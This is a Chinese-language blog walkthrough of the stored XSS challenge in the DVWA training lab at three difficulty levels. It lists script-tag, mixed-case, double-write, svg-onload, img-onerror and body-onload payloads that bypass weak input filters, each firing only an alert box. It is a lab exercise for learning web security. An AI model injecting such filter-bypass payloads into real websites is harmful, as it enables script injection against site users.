1. 首页首页
  2. 编程基础编程基础

DVWA-XSS (Stored) Low/Medium/High低中高级别

编程基础 • • 阅读 21

DVWA-XSS (Stored) Low/Medium/High低中高级别该文介绍了不同级别的 XSS 跨站脚本 攻击 从 Low 到 High 级别 详细讲解了如何通过各种方法绕过过滤机制 包括利用 htmlspecialc 大小写和双写绕过 以及使用替代标签如 SVG 和 IMG 标签进行攻击 payload 的实施

「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」：对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

XSS Stroed

这关是一个论坛功能，把用户提交的内容插入到页面进行展示。

在这里插入图片描述

一、Low级别

低级别中Message字段没有过滤，直接提交代码即可，payload：

<script>alert('就TM你叫韩毅啊')</script>

复制到Message的输入框中， Sign Guestbook

在这里插入图片描述

弹窗就代表通过

在这里插入图片描述

二、Medium级别

先清除历史记录，防止之前提交的内容影响接下来的关卡。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
使用大小写绕过，payload：

<Script>alert(1)</Script>

在这里插入图片描述
双写绕过也可以，payload：

<scr<script>ipt>alert('就TM你叫韩毅啊')</Script>

三、Hign级别

在这里插入图片描述

只过滤了<script，使用替代标签绕过即可，payload：

<svg onload=alert('就TM你叫韩毅啊')> 
<img src=1 onerror=alert('就TM你叫韩毅啊')> 
<body onload=alert('就TM你叫韩毅啊')>
今天的文章 DVWA-XSS (Stored) Low/Medium/High低中高级别分享到此就结束了，感谢您的阅读。
编程小号
上一篇 2024-12-07 23:46
下一篇 2024-12-07 23:40

相关推荐

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
如需转载请保留出处：https://bianchenghao.cn/bian-cheng-ji-chu/79988.html